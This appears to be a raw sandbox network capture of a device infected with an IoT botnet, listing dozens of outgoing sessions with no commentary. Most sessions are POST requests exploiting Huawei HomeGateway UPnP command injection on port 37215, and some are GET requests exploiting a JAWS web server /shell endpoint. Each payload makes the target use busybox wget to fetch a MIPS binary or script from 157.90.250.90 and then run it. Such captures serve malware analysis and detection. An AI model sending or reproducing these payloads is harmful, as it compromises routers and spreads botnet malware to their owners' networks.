Dec 3, 2024 23:01:54.899818897 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.23	38670	57.16.75.18	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:54.899832964 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.23	59660	40.208.105.235	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:54.899858952 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.23	33060	156.191.133.121	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:54.899981976 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.23	33942	41.243.122.209	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:54.900047064 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.23	58152	156.177.86.195	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:54.900126934 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.23	53180	156.1.156.161	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:54.900208950 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.23	39884	41.223.100.164	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:54.900299072 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.23	58952	197.213.172.174	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:54.900384903 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.23	45240	41.34.236.132	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:54.900454998 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.23	41656	41.204.44.51	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:54.900546074 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.23	60102	156.199.249.209	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:54.900599003 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.23	32814	219.81.41.173	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:55.013360023 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.23	52416	140.3.1.82	80

Timestamp	Bytes transferred	Direction	Data
